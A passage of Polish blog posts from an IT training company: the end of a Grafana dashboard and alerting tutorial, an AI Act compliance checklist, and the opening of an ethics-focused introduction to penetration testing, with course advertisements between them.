Na liście dashboardów widać te, które już mamy. Część zbudowaliśmy sami, część zaimportowaliśmy gotowe. Dashboardy można porządkować w folderach i opisywać tagami, co bardzo pomaga, gdy w firmie jest ich kilkaset.

Lista dashboardów. Każdy można oznaczyć tagami, co ułatwia odnajdywanie ich w większych zespołach.

Typy wizualizacji w Grafanie

Grafana daje kilkanaście typów paneli i to samo zapytanie można pokazać na wiele sposobów: jako wykres, licznik, wskaźnik, tabelę albo mapę ciepła. Najczęściej używane typy to:

Typ panelu	Kiedy się przydaje
Time series (wykres w czasie)	Zmiana wartości w czasie, na przykład obciążenie CPU minuta po minucie.
Stat (licznik)	Jedna duża liczba, na przykład bieżące zużycie pamięci w procentach.
Gauge (wskaźnik)	Wartość na skali z progami, na przykład zapełnienie dysku ze strefą czerwoną.
Bar chart (słupki)	Porównanie wartości między kategoriami.
Table (tabela)	Wiele wartości i etykiet naraz, do przeglądania szczegółów.
Heatmap (mapa ciepła)	Rozkład wartości, na przykład czasy odpowiedzi aplikacji.

Zmienne, transformacje i adnotacje

Trzy funkcje, które szybko zamieniają początkującego w sprawnego użytkownika Grafany.

Zmienne (ang. variables, templating) to listy rozwijane u góry dashboardu. Dzięki nim jeden dashboard obsłuży wiele serwerów albo środowisk: wybierasz wartość z listy, a wszystkie panele przeliczają się dla wybranej opcji. Nie musisz budować osobnego dashboardu na każdy serwer. Poniżej dodaliśmy do naszego dashboardu prostą zmienną "Serwer", która pojawia się jako lista wyboru u góry.

Zmienna "Serwer" (zaznaczona ramką) jako lista rozwijana u góry dashboardu. Zmieniasz wybór, a panele przeliczają się same.

Zmienne definiuje się w ustawieniach dashboardu, w zakładce Variables. Podajesz nazwę, typ (na przykład lista własnych wartości albo wynik zapytania) i gotowe.

Ustawienia zmiennych dashboardu. Tu definiujemy nazwę i typ zmiennej.

Transformacje (ang. transformations) to obróbka danych już w Grafanie, bez ruszania źródła. W zakładce Transformations w edytorze panelu możesz połączyć wyniki, policzyć sumy, zmienić nazwy kolumn albo odfiltrować wiersze, zanim trafią na wykres.

Zakładka Transformations. Dane obrabiasz tu w Grafanie, nie ruszając źródła.

Adnotacje (ang. annotations) to pionowe znaczniki na wykresie opisujące zdarzenia, na przykład wdrożenie nowej wersji albo restart usługi. Od razu widać, czy skok obciążenia zbiegł się z jakąś zmianą. Konfiguruje się je w ustawieniach dashboardu, w zakładce Annotations.

Ustawienia adnotacji. Tu włączamy znaczniki zdarzeń nanoszone na wykresy.

Import, eksport i wersjonowanie dashboardów

Każdy dashboard w Grafanie to tak naprawdę plik w formacie JSON. Możesz go wyeksportować, wysłać koledze albo trzymać w repozytorium kodu razem z resztą projektu. To otwiera bardzo wygodną praktykę: trzymanie konfiguracji jako kod. Zamiast klikać wszystko ręcznie po nowej instalacji, wgrywasz gotowe pliki źródeł danych i dashboardów (tak zwany provisioning), a Grafana sama je wczytuje. Grafana zapisuje też historię zmian dashboardu, więc w razie pomyłki wrócisz do wcześniejszej wersji.

Budujemy pierwszy dashboard w Grafanie krok po kroku

Teraz najważniejsza część, czyli praktyka. Zbudujemy od zera wskaźnik pokazujący zużycie procesora. Przejdziemy przez to na osiem kroków, a każdy pokażemy na prawdziwym zrzucie z Grafany, dokładnie w takiej kolejności, w jakiej zobaczysz to u siebie.

Krok 1. Utwórz nowy, pusty dashboard

W lewym menu wybieramy Dashboards, a następnie przycisk New i opcję New dashboard. Grafana otwiera pusty dashboard w trybie edycji. To nasza czysta kartka, na której zaraz ułożymy panele.

Krok 1. Nowy, pusty dashboard w trybie edycji. Na górze przyciski do zapisu i dodawania paneli.

Krok 2. Dodaj panel i wybierz źródło danych

Klikamy przycisk Add u góry i wybieramy Visualization. Grafana zapyta o źródło danych, wskazujemy nasz Prometheus. Otwiera się edytor nowego, jeszcze pustego panelu. Na dole widać wybrane źródło danych oraz pole na zapytanie, a po prawej listę typów wizualizacji.

Krok 2. Edytor nowego panelu. Czerwona ramka wskazuje wybór źródła danych (nasz Prometheus). Po prawej mamy typy wizualizacji.

Krok 3. Wybierz typ wizualizacji (wskaźnik)

Po prawej stronie klikamy listę wizualizacji i wybieramy Gauge, czyli wskaźnik. Wybraliśmy go, bo od razu pokaże, czy obciążenie jest w strefie zielonej, żółtej czy czerwonej. Ten sam wynik można oczywiście pokazać jako wykres, licznik albo tabelę, o czym mówiliśmy wyżej.

Krok 3. Wybór typu wizualizacji. Czerwona ramka wskazuje pozycję Gauge (wskaźnik), którą wybieramy.

Krok 4. Wpisz zapytanie i zrozum PromQL

W polu zapytania (w trybie Code) wpisujemy zapytanie w języku PromQL, czyli w języku zapytań Prometheusa:

Kopiuj

100 - (avg(rate(node_cpu_seconds_total{mode="idle"}[5m])) * 100)

To zapytanie wygląda groźnie, ale mówi prostą rzecz: policz, jaki procent czasu procesor spędził bezczynnie, i odejmij to od stu. Wynik to procent realnego obciążenia CPU. Rozłóżmy je na części, bo to najlepsza okazja, żeby zrozumieć składnię PromQL:

Fragment	Co oznacza
`node_cpu_seconds_total`	Metryka z node_exportera: łączny czas pracy procesora w sekundach.
`{mode="idle"}`	Filtr etykiety. Bierzemy tylko czas, w którym procesor był bezczynny (tryb idle).
`[5m]`	Okno czasu. Patrzymy na ostatnie 5 minut historii tej metryki.
`rate(...)`	Tempo przyrostu na sekundę w tym oknie, czyli ile "bezczynności" przybywa co sekundę.
`avg(...)`	Uśrednienie po wszystkich rdzeniach procesora do jednej liczby.
`* 100`	Zamiana ułamka na procent.
`100 - (...)`	Odejmujemy procent bezczynności od stu i dostajemy procent obciążenia.

Po wpisaniu zapytania wskaźnik od razu pokazuje bieżące obciążenie procesora.

Krok 4. Wskaźnik CPU z wpisanym zapytaniem. Czerwona ramka wskazuje pole zapytania PromQL, u góry widać gotowy wskaźnik.

Krok 5. Ustaw progi kolorów (thresholds)

Teraz sprawimy, żeby wskaźnik sam zmieniał kolor, gdy robi się gorąco. Służą do tego progi (ang. thresholds). Znajdziesz je w prawym panelu opcji, po przewinięciu w dół do sekcji Thresholds. Domyślnie jest tam jeden próg Base w kolorze zielonym. Klikamy Add threshold i dodajemy dwa progi: wartość 70 w kolorze żółtym i wartość 85 w kolorze czerwonym. Od teraz wskaźnik jest zielony do 70 procent, żółty od 70 do 85 i czerwony powyżej 85.

Krok 5. Sekcja Thresholds w prawym panelu opcji. Czerwona ramka wskazuje przycisk Add threshold, którym dodajemy progi 70 (żółty) i 85 (czerwony).

Krok 6. Zapisz i nazwij dashboard

Panel gotowy, więc zapisujemy całość przyciskiem Save dashboard. Grafana poprosi o nazwę i folder. Nazywajmy dashboardy po ludzku, na przykład "Kondycja serwera", bo za tydzień nikt nie będzie pamiętał, co znaczy skrót z trzech liter.

Krok 6. Zapis dashboardu. Podajemy nazwę i folder, w którym ma się znaleźć.

Krok 7. Gotowy dashboard

Dokładamy jeszcze dwa panele (licznik pamięci i wykres obciążenia w czasie) w ten sam sposób i mamy pierwszy, w pełni działający dashboard. Wskaźnik CPU pokazuje bieżące obciążenie, licznik zużycie pamięci, a wykres na dole to samo obciążenie w czasie.

Krok 7. Nasz pierwszy dashboard w Grafanie, zbudowany od zera.

Krok 8. Zmień zakres czasu

Na koniec rzecz, której używa się bez przerwy: selektor zakresu czasu w prawym górnym rogu. Jednym kliknięciem przełączamy widok z ostatnich 30 minut na ostatnią godzinę, dobę albo dowolny własny przedział, a wszystkie panele odświeżają się razem.

Krok 8. Selektor zakresu czasu. Zmiana przedziału od razu przelicza wszystkie panele.

Gotowe dashboardy ze społeczności (import krok po kroku)

Nie wszystko trzeba budować samemu. Największa siła Grafany to społeczność, która dzieli się gotowymi dashboardami. Na stronie grafana.com/dashboards jest ich kilka tysięcy: dla serwerów, baz danych, Kubernetesa, Dockera, kolejek, aplikacji i setek innych systemów. Każdy dashboard ma swój numer (ID), a wystarczy podać ten numer w Grafanie, żeby wgrać komplet gotowych wykresów.

Import przebiega tak:

Na grafana.com/dashboards znajdujesz dashboard, który Cię interesuje, i zapisujesz jego numer. Dla monitoringu serwera to najczęściej Node Exporter Full o numerze 1860.
W Grafanie wybierasz Dashboards, potem New i Import.
Wpisujesz numer dashboardu (1860) w pole "Grafana.com dashboard URL or ID" i klikasz Load.
Grafana pobiera definicję i prosi o wskazanie źródła danych. Wybierasz swój Prometheus i klikasz Import.

Ekran importu. W zaznaczone pole wpisujemy numer dashboardu (tu 1860) i klikamy Load.

Po kilku sekundach mamy gotowy, rozbudowany dashboard, taki jak Node Exporter Full z początku artykułu. Jego górna część to zestaw wskaźników z najważniejszymi liczbami: obciążenie CPU, zużycie pamięci i zapełnienie dysku w jednym rzucie oka.

Zaimportowany Node Exporter Full. Kilka wskaźników i od razu wiadomo, czy z serwerem jest wszystko w porządku.

Grafana nie ogranicza się do metryk pojedynczego serwera. Równie łatwo zaimportować dashboard do monitoringu kontenerów. Poniższy pokazuje zużycie procesora, pamięci i ruch sieciowy w rozbiciu na poszczególne kontenery Dockera, każdy jako osobna linia z etykietą.

Zaimportowany dashboard do monitoringu kontenerów. Każdy kontener to osobna linia.

Explore, czyli zapytania na szybko

Nie zawsze chcemy od razu budować dashboard. Czasem trzeba tylko szybko coś sprawdzić. Do tego służy widok Explore. Wpisujemy jedno zapytanie, uruchamiamy je i od razu dostajemy wykres. To idealne miejsce do nauki języka zapytań i do doraźnego przeglądania danych podczas awarii.

Widok Explore. Jedno zapytanie, natychmiastowy wykres, bez budowania całego dashboardu.

Alerty w Grafanie, czyli monitoring, który sam Cię zawiadamia (tutorial)

Same wykresy to nie wszystko. Nikt nie będzie wpatrywał się w ekran przez całą dobę. Dlatego Grafana ma wbudowane alertowanie: sama pilnuje warunków i wysyła powiadomienie, gdy coś jest nie tak. Zobaczmy, jak ustawić prosty alert "obciążenie CPU powyżej 90 procent". Regułę tworzymy w menu Alerting, przyciskiem New alert rule.

Formularz nowej reguły alertu. Przechodzimy przez kolejne ponumerowane sekcje.

Formularz prowadzi nas przez kolejne, ponumerowane sekcje:

Nazwa reguły. Wpisujemy coś czytelnego, na przykład "Wysokie obciążenie CPU".
Zapytanie i warunek. Wybieramy źródło (Prometheus) i zapytanie liczące obciążenie CPU, a niżej ustawiamy warunek, na przykład WHEN QUERY IS ABOVE 90. To znaczy: uruchom alert, gdy wynik przekroczy 90.
Ocena reguły (evaluation). Wskazujemy folder i grupę, jak często Grafana ma sprawdzać warunek (na przykład co minutę) oraz jak długo musi być spełniony, zanim alert się odpali (na przykład przez 5 minut). Dzięki temu pojedynczy chwilowy skok nie budzi wszystkich w nocy.
Etykiety i powiadomienia. Dodajemy etykiety i wskazujemy, gdzie ma trafić powiadomienie. Kanały (e-mail, Slack, Microsoft Teams) definiuje się w sekcji Contact points, a reguły ich doboru w Notification policies.
Zapis. Zapisujemy regułę i od tej chwili Grafana pracuje za nas: sprawdza warunek w tle i sama wyśle wiadomość, gdy obciążenie przekroczy próg.

To jest właśnie sedno monitoringu. Dashboard pokazuje stan na życzenie, a alert sam zawiadamia, gdy dzieje się coś złego, nawet gdy nikt nie patrzy na ekran.

Grafana a inne narzędzia (Prometheus, Kibana, Zabbix, Datadog)

Grafana nie jest jedynym narzędziem tego typu, ale zajmuje wyjątkowe miejsce, bo jest niezależna od źródła danych i darmowa. Oto jak wypada na tle innych popularnych rozwiązań:

Narzędzie	Czym się wyróżnia w porównaniu z Grafaną
Prometheus	Zbiera i przechowuje metryki, ale sam rysuje je bardzo skromnie. Grafana jest jego naturalnym uzupełnieniem do wizualizacji.
Kibana	Mocna przy logach, ale przywiązana do ekosystemu Elastic. Grafana łączy wiele źródeł naraz.
Zabbix	Kompletny system monitoringu z własnym zbieraniem danych. Często łączy się go z Grafaną dla ładniejszych wykresów.
Datadog / New Relic	Płatne platformy w chmurze, wygodne, ale kosztowne. Grafanę uruchomisz za darmo na własnym serwerze.

Grafana a Prometheus

To para, którą najłatwiej pomylić, a różnica jest prosta. Prometheus zbiera i przechowuje dane, Grafana je pokazuje. Prometheus ma własny, bardzo skromny interfejs, więc do codziennego oglądania metryk i tak sięga się po Grafanę. Prawie zawsze działają razem: Prometheus w roli źródła, Grafana w roli deski rozdzielczej.

Grafana a Kibana

Kibana i Grafana wyrosły z tego samego korzenia, ale poszły w różne strony. Kibana jest najlepsza do logów w Elasticsearch i jest z tym ekosystemem mocno związana. Grafana jest uniwersalna: w jednym dashboardzie połączysz metryki z Prometheusa, logi z Lokiego i dane z bazy SQL. W monitoringu metryk to Grafana wygrała rynek.

Jak zainstalować Grafanę i ile to kosztuje

Grafanę uruchomisz na kilka sposobów. Najszybszy to Docker. Jedno polecenie i po chwili Grafana działa pod adresem http://localhost:3000 (login i hasło: admin):

Kopiuj

docker run -d -p 3000:3000 --name grafana grafana/grafana

W realnym monitoringu Grafana rzadko działa sama. Zwykle idzie w parze z Prometheusem i eksporterami. Właśnie taki komplet postawiliśmy na potrzeby tego artykułu, opisany w jednym pliku docker-compose.yml:

Kopiuj

services:
  prometheus:
    image: prom/prometheus:latest
    volumes:
      - ./prometheus.yml:/etc/prometheus/prometheus.yml:ro
    ports: ["9090:9090"]

  node-exporter:
    image: prom/node-exporter:latest
    ports: ["9100:9100"]

  grafana:
    image: grafana/grafana:latest
    ports: ["3000:3000"]

Jeśli nie chcesz niczego instalować, jest jeszcze Grafana Cloud, czyli hostowana wersja w chmurze z darmowym planem na start (zakładasz konto na grafana.com/products/cloud). A jak z kosztami? W skrócie:

Grafana open source jest w pełni darmowa, także do zastosowań komercyjnych. Uruchamiasz ją na własnym serwerze bez opłat.
Grafana Cloud ma darmowy plan dla małych projektów, a większe plany rozliczane są za ilość danych.
Grafana Enterprise to płatna wersja z dodatkowymi funkcjami i wsparciem, kierowana do dużych organizacji.

Bezpieczeństwo, użytkownicy i uprawnienia

W firmie Grafany zwykle używa wiele osób, więc od początku warto zadbać o dostęp. Grafana ma wbudowane konta użytkowników i trzy podstawowe role: Viewer (tylko podgląd), Editor (tworzenie i edycja dashboardów) oraz Admin (pełna kontrola). Użytkowników można grupować w zespoły i przydzielać im dostęp do konkretnych folderów z dashboardami. Da się też podłączyć logowanie firmowe, na przykład przez Google, GitHub czy LDAP, żeby nie zakładać osobnych kont. To ważne, bo dashboardy często pokazują wrażliwe dane o infrastrukturze.

Dobre praktyki dla początkujących

Zacznij od gotowych dashboardów. Zaimportuj Node Exporter Full (numer 1860), zobacz, jak jest zbudowany, i ucz się na jego panelach.
Nazywaj panele po ludzku. "Zużycie CPU" mówi więcej niż surowa nazwa metryki. Dashboard ma być czytelny także dla kogoś, kto widzi go pierwszy raz.
Używaj zmiennych. Dzięki nim jeden dashboard obsłuży wiele serwerów, wybieranych z listy rozwijanej u góry.
Ustaw progi i kolory. Zielony, żółty i czerwony sprawiają, że problem widać, zanim zdążysz przeczytać liczbę.
Trzymaj konfigurację jako kod. Źródła danych i dashboardy da się zapisać w plikach (provisioning) i wersjonować w repozytorium, tak jak resztę infrastruktury.

Najczęstsze problemy i jak je rozwiązać

Panel pokazuje "No data". Najczęściej źródło danych nie ma jeszcze metryk albo zapytanie dotyczy nazwy, która nie istnieje. Sprawdź w Explore, czy metryka w ogóle jest zbierana.
Błąd "Bad Gateway" przy teście źródła. Grafana nie widzi adresu źródła. Upewnij się, że podałeś poprawny adres i port oraz że oba kontenery są w tej samej sieci.
Wykresy przesunięte w czasie. To zwykle kwestia strefy czasowej. Ustaw ją w opcjach dashboardu lub w profilu użytkownika.
Pusty wykres mimo danych. Sprawdź zakres czasu u góry. Bardzo często okazuje się, że po prostu patrzymy na złe minuty.

Słownik pojęć Grafany

Pojęcie	Co oznacza
Źródło danych	System, z którego Grafana pobiera dane (np. Prometheus, baza SQL, Loki).
Panel	Pojedynczy kafelek z wykresem, licznikiem lub tabelą.
Dashboard	Strona z zestawem paneli opisujących jeden temat.
Metryka	Liczbowy pomiar zapisywany w czasie, na przykład zużycie CPU.
PromQL	Język zapytań Prometheusa, którym mówimy, co narysować.
Eksporter	Program udostępniający metryki systemu pod adresem /metrics.
Próg (threshold)	Wartość graniczna, po której panel zmienia kolor (zielony, żółty, czerwony).
Alert	Reguła, która wysyła powiadomienie po spełnieniu warunku.
Observability	Obserwowalność: metryki, logi i ślady razem dają pełny obraz systemu.

Podsumowanie

Grafana to darmowe, otwartoźródłowe narzędzie, które zamienia rozproszone dane z serwerów, aplikacji i baz w czytelne, żyjące na bieżąco dashboardy, a do tego samo pilnuje warunków i wysyła alerty. Sama nie przechowuje danych, tylko łączy się ze źródłami takimi jak Prometheus, odpytuje je i pokazuje wyniki. W odróżnieniu od Power BI patrzy na dane na żywo, a nie na raporty historyczne, i to właśnie czyni ją królową monitoringu. Największe atuty to elastyczność (jeden dashboard łączy wiele źródeł naraz), ogromna społeczność z tysiącami gotowych dashboardów oraz to, że zaczniesz z nią za darmo w kilka minut.

Najlepszy sposób nauki to praktyka: postaw Grafanę i Prometheus przez Docker Compose, zaimportuj dashboard 1860 i spróbuj zbudować własny panel, dokładnie tak, jak pokazaliśmy w tym artykule. A jeśli chcesz przejść przez to z trenerem praktykiem i nauczyć się Grafany oraz całego monitoringu szybciej i w dobrze poukładanej kolejności, mamy dla Ciebie dwa szkolenia.

Najczęściej zadawane pytania (FAQ)

Do czego służy Grafana?

Grafana służy do monitorowania i wizualizacji danych w czasie rzeczywistym. Najczęściej pokazuje kondycję serwerów, kontenerów, aplikacji i baz danych, ale sprawdza się też w analityce biznesowej i w internecie rzeczy (IoT). Do tego pilnuje ustawionych progów i wysyła alerty, gdy coś działa nie tak.

Czy Grafana jest darmowa?

Tak. Grafana w wersji open source jest bezpłatna, także do zastosowań komercyjnych, i uruchomisz ją na własnym serwerze bez opłat. Płatne są dodatkowe usługi: hostowana Grafana Cloud (ma jednak darmowy plan) oraz Grafana Enterprise z funkcjami dla dużych firm i wsparciem.

Czy Grafana przechowuje dane?

Nie. Grafana nie jest bazą danych. Łączy się ze źródłami danych, na przykład z Prometheusem, InfluxDB, Lokim czy PostgreSQL, odpytuje je na bieżąco i rysuje wykresy. Dane fizycznie leżą w tych źródłach, a Grafana odpowiada tylko za wizualizację i alertowanie.

Czym różni się Grafana od Power BI?

Grafana służy do monitoringu i danych na żywo (metryki, szeregi czasowe), jest darmowa i uruchamiana na własnym serwerze, a jej mocną stroną są alerty. Power BI to komercyjne narzędzie Microsoftu do raportowania i analityki biznesowej, nastawione na dane historyczne i modelowanie w języku DAX. W skrócie: Grafana odpowiada na pytanie, czy system działa teraz, a Power BI, jak szła sprzedaż w kwartale.

Czym różni się Grafana od Prometheusa?

Prometheus zbiera i przechowuje metryki w bazie szeregów czasowych. Grafana ich nie zbiera, tylko pokazuje. W praktyce często pracują razem: Prometheus jest źródłem danych, a Grafana rysuje z nich dashboardy i wysyła alerty.

Czym różni się Grafana od Kibany?

Kibana jest przywiązana do ekosystemu Elastic i najlepiej sprawdza się przy logach w Elasticsearch. Grafana jest niezależna od źródła i potrafi w jednym dashboardzie połączyć dane z wielu różnych systemów naraz. Dlatego w monitoringu metryk to Grafana jest standardem.

Grafana a Zabbix, czym się różnią?

Zabbix to kompletny system monitoringu, który sam zbiera dane i sam je pokazuje. Grafana danych nie zbiera, tylko je wizualizuje. Często łączy się je razem: Zabbix zbiera metryki, a Grafana rysuje z nich ładniejsze i bardziej elastyczne dashboardy.

Jak zainstalować Grafanę?

Najszybciej przez Dockera poleceniem docker run -d -p 3000:3000 grafana/grafana. Grafana ruszy na porcie 3000, logujesz się jako admin z hasłem admin. Można ją też zainstalować z pakietu systemowego na Linuksie albo skorzystać z hostowanej Grafana Cloud bez instalacji.

Skąd wziąć gotowe dashboardy do Grafany?

Ze strony grafana.com, z katalogu dashboardów społeczności. Każdy dashboard ma numer, który wystarczy podać w opcji importu. Popularne przykłady to Node Exporter Full (numer 1860) do monitoringu serwera oraz gotowe dashboardy dla kontenerów, baz danych i Kubernetesa.

Chcesz nauczyć się Grafany od praktyka?

Poniżej dwa szkolenia JSystems. Pierwsze skupia się w całości na Grafanie, drugie to szeroki monitoring i observability z Grafaną, Prometheusem, Lokim i Zabbixem. Oba mają termin gwarantowany, czyli odbywają się na pewno.

Szkolenie Grafana - monitoring, wizualizacja danych i alerting ->

To szkolenie może być dofinansowane dla Ciebie z KFS lub BUR.

★★★★★Średnia ocena naszych szkoleń w Google: 5/5

Szkolenie Monitoring i Observability: Grafana, Prometheus, Loki i Zabbix ->

To szkolenie może być dofinansowane dla Ciebie z KFS lub BUR.

★★★★★Średnia ocena naszych szkoleń w Google: 5/5

AI Act 2026 - co muszą zrobić polskie firmy, żeby być zgodne z prawem

Andrzej Klusiewicz — Mon, 24 Aug 2026 07:04:05 +0000

Z bloga JSystems - konkretna checklista obowiązków wynikających z AI Act, zamiast ogólników o "regulacji sztucznej inteligencji".

AI ACT 2026 - co muszą zrobić polskie firmy żeby być zgodne z prawem

AI Act - rozporządzenie Unii Europejskiej regulujące sztuczną inteligencję - jest już obowiązującym prawem. Pierwsze terminy compliance minęły w lutym 2025, kolejne etapy wdrożenia trwają. Firmy które korzystają z systemów AI lub je tworzą muszą działać. Kary za nieprzestrzeganie sięgają 35 milionów euro lub 7% globalnego obrotu. W tym artykule wyjaśniamy co konkretnie musisz zrobić jako polska firma.

AI Act - podstawowe fakty

Wejście w życie: 1 sierpnia 2024
Zakaz systemów AI wysokiego ryzyka (biometria, social scoring): obowiązuje od 2 lutego 2025
Obowiązki dla systemów AI ogólnego przeznaczenia (GPT, Claude Code, Gemini): od 2 sierpnia 2025
Pełne stosowanie AI Act: od 2 sierpnia 2026
Zasięg: obowiązuje każdą firmę w UE i każdą firmę spoza UE której systemy AI działają na rynku UE

Klasyfikacja ryzyka - co Cię dotyczy?

AI Act dzieli systemy AI na 4 kategorie ryzyka:

Ryzyko niedopuszczalne (ZAKAZ)

Systemy w tej kategorii są zakazane bezwzględnie od lutego 2025:

Social scoring obywateli przez rządy
Manipulacja behawioralna ludzi bez ich wiedzy
Masowy nadzór biometryczny w przestrzeni publicznej (z wyjątkami dla organów ścigania)
Identyfikacja emocji w miejscach pracy i szkołach

Wysokie ryzyko (ŚCISŁE WYMOGI)

Jeśli Twoja firma używa AI w tych obszarach - masz obowiązki rejestracji, dokumentacji i audytu:

Rekrutacja i ocena pracowników przez AI
Scoring kredytowy i ocena zdolności finansowej
AI w systemach ochrony zdrowia
AI wspomagający decyzje sądowe i administracyjne
Systemy biometryczne (rozpoznawanie twarzy)
AI zarządzający infrastrukturą krytyczną

Ograniczone ryzyko (OBOWIĄZKI TRANSPARENTNOŚCI)

Chatboty, deepfake, content generowany przez AI - musisz informować użytkowników że rozmawiają z AI.

Minimalne ryzyko

Filtry spamu, rekomendacje produktów, AI w grach - brak specjalnych obowiązków, ale dobrowolne stosowanie kodeksów postępowania.

Co konkretnie musi zrobić Twoja firma?

Do kiedy trzeba to zrobić? Najpóźniej do 2 sierpnia 2026 - wtedy AI Act zaczyna być stosowany w pełni (to deadline na Kroki 1–3 dla systemów wysokiego ryzyka). Ale część obowiązuje już teraz: zakaz systemów niedopuszczalnego ryzyka oraz obowiązek kompetencji AI i przeszkolenia pracowników (Krok 5) — od 2 lutego 2025; obowiązki transparentności dla chatbotów i AI generatywnej (Krok 4) — od 2 sierpnia 2025. Inwentaryzację i klasyfikację (Kroki 1–2) zacznij od razu — to fundament pod resztę.

Krok 1: Inwentaryzacja systemów AI

Zidentyfikuj wszystkie systemy AI które używasz lub tworzysz. Nie tylko własne - to też narzędzia zewnętrzne (ChatGPT Enterprise, Copilot for Microsoft 365, systemy HR). Stwórz rejestr z opisem każdego systemu i jego zastosowania.

Krok 2: Klasyfikacja ryzyka

Dla każdego systemu oceń do której kategorii należy. To wymaga analizy prawnej - warto skonsultować z prawnikiem lub ukończyć szkolenie z AI Act przed podjęciem decyzji.

Krok 3: Dokumentacja dla systemów wysokiego ryzyka

Jeśli masz systemy wysokiego ryzyka, musisz przygotować:

Techniczną dokumentację systemu AI
Ocenę zgodności (conformity assessment)
Rejestr w unijnej bazie danych (EU AI Database dla aplikacji HR i podobnych)
Plan zarządzania ryzykiem
Monitoring po wdrożeniu (post-market surveillance)

Krok 4: Transparency dla chatbotów i generatywnej AI

Każdy chatbot musi informować użytkownika że jest botem. Treści generowane przez AI widoczne publicznie muszą być oznaczone jako wygenerowane przez AI (deepfake w szczególności).

Krok 5: Szkolenie pracowników

AI Act nakłada obowiązek AI literacy - pracownicy którzy pracują z systemami AI muszą rozumieć ich działanie, ograniczenia i ryzyka. To nie jest zalecenie - to wymóg prawny.

Potrzebujesz szkolenia z AI ACT dla swojego zespołu?

Szkolenie "Gotowość na AI ACT" - 2 dni, praktyczne warsztaty, prowadzone przez eksperta prawa AI. Przygotuj firmę na compliance.

Jakie kary grożą za naruszenie AI ACT?

Naruszenie	Kara maksymalna
Stosowanie zakazanych systemów AI	35 mln EUR lub 7% obrotu
Naruszenie wymogów dla systemów wysokiego ryzyka	15 mln EUR lub 3% obrotu
Podanie nieprawidłowych informacji organom nadzoru	7,5 mln EUR lub 1% obrotu

Dla MŚP kary są obliczane od niższego z progów.

ISO/IEC 42001 - zarządzanie AI w organizacji

Równolegle z AI ACT warto rozważyć wdrożenie normy ISO/IEC 42001 - systemu zarządzania sztuczną inteligencją (AIMS). To standard który porządkuje procesy AI w organizacji podobnie jak ISO 27001 porządkuje bezpieczeństwo informacji. Certyfikacja ISO 42001 może służyć jako dowód dobrej praktyki w przypadku kontroli zgodności z AI ACT.

Newsletter bloga JSystems

Otrzymuj nowe artykuły prosto na swoją skrzynkę

Zapisz się do newslettera bloga JSystems - wiedza IT i AI bez szumu, prosto na Twoją skrzynkę.

Zapisz się do newslettera

Szkolenia z AI ACT i AI Governance

JSystems oferuje kompleksowe szkolenia z compliance AI: "Gotowość na AI ACT", "AI Governance dla kadry zarządzającej" oraz "ISO/IEC 42001 - wdrożenie AIMS". Prowadzone przez eksperta z wieloletnim doświadczeniem w regulacjach technologicznych.

Gotowość na AI ACT - 2 dni
AI Governance dla kadry zarządzającej - 2 dni
ISO/IEC 42001 - wdrożenie AIMS - 4 dni

Sprawdź terminy

To szkolenie może być dofinansowane dla Ciebie z KFS lub BUR.

★★★★★Średnia ocena naszych szkoleń w Google: 5/5

Podsumowanie - plan działania

AI ACT to nie zagrożenie dla firm które działają w dobrej wierze - to framework który porządkuje rynek i daje przewagę tym którzy dostosują się wcześniej. Firmy które przygotują się przed 2026 unikną kar i zyskają przewagę konkurencyjną nad tymi które będą gonić compliance w pośpiechu.

Pierwsze kroki: zinwentaryzuj systemy AI, sklasyfikuj ryzyko, przeszkol kluczowych pracowników. Zrób to teraz - nie kiedy urząd wyśle pismo.

Testy penetracyjne - jak zacząć z pentestami etycznie i skutecznie w 2026

Andrzej Klusiewicz — Mon, 24 Aug 2026 07:03:41 +0000

Z bloga JSystems - droga od zera do pierwszego realnego testu penetracyjnego, wraz z przykładem prawdziwego włamania.

Wokół pentestów narosła mitologia rodem z filmów: ktoś w bluzie z kapturem stuka w klawiaturę i po dwóch minutach włamuje się do banku. Rzeczywistość jest spokojniejsza, bardziej metodyczna i znacznie ciekawsza. Test penetracyjny to rzemiosło: uporządkowany proces, w którym za zgodą właściciela systemu wcielasz się w napastnika, żeby znaleźć luki, zanim zrobi to ktoś o złych intencjach. Ten przewodnik pokazuje, jak wejść w tę specjalizację uczciwie - co opanować, w jakiej kolejności, gdzie ćwiczyć legalnie i dlaczego nie da się tego ogarnąć w weekend.

Z tego artykułu wyniesiesz:

Co odróżnia legalny pentest od przestępstwa - i dlaczego to fundament całej dyscypliny
Metodykę pięciu faz z realnymi komendami na celowo podatnych labach
Tabelę narzędzi pentestera z jasnym wskazaniem, do czego każde służy
Listę miejsc, gdzie wolno ćwiczyć bez ryzyka prawnego
Uczciwą ścieżkę kariery: fundamenty, certyfikaty, widełki zarobków i podział red team kontra blue team

Zanim ruszysz dalej - sprawa najważniejsza. Każda komenda w tym artykule jest pokazana na środowiskach przeznaczonych do nauki: własnych maszynach lub publicznych celach testowych. Uruchomienie tych samych narzędzi przeciwko systemowi, do którego nie masz pisemnej zgody, jest przestępstwem - w Polsce regulują to m.in. art. 267 i 269 Kodeksu karnego, z realną odpowiedzialnością karną. Pentester bez autoryzacji to po prostu włamywacz. Cała wartość tego zawodu opiera się na tym, że robisz to legalnie: za pisemną zgodą właściciela systemu i w ściśle ustalonym zakresie (scope).

Czym naprawdę jest test penetracyjny

Test penetracyjny (pentest) to autoryzowany, symulowany atak na system informatyczny, którego celem jest wykrycie słabości bezpieczeństwa, zanim wykorzysta je prawdziwy napastnik. Pentester myśli jak atakujący - łączy drobne usterki w łańcuch, eskaluje uprawnienia, szuka nieoczywistych ścieżek - ale działa w ramach umowy, w określonym zakresie i kończy pracę raportem, a nie kradzieżą danych.

Warto od razu odróżnić pentest od automatycznego skanowania podatności (vulnerability scan). Skaner mechanicznie sprawdza listę znanych usterek i wypluwa surowy wynik. Pentest to praca człowieka: kreatywne łączenie kontekstu, weryfikacja, czy luka jest realnie wykorzystywalna, i ocena, jak głęboko da się wejść. Skaner powie, że port ma starą wersję serwera. Pentester powie, że przez ten serwer dotarł do panelu administratora, a stamtąd do bazy klientów - i dołączy dowód oraz instrukcję naprawy.

Rodzaje testów - co wie atakujący

Zakres wiedzy, jaki dostajesz na starcie, definiuje typ testu:

Black box (czarna skrzynka) - wiesz tyle, co napastnik z zewnątrz: adres IP albo adres URL. Najbardziej realistyczny scenariusz, ale i najbardziej czasochłonny.
White box (biała skrzynka) - masz pełen dostęp do dokumentacji, kodu źródłowego i schematów sieci. Pozwala znaleźć więcej luk w krótszym czasie.
Grey box (szara skrzynka) - kompromis: dostajesz ograniczony dostęp, np. konto zwykłego użytkownika. Symulujesz atak zalogowanego klienta lub pracownika.

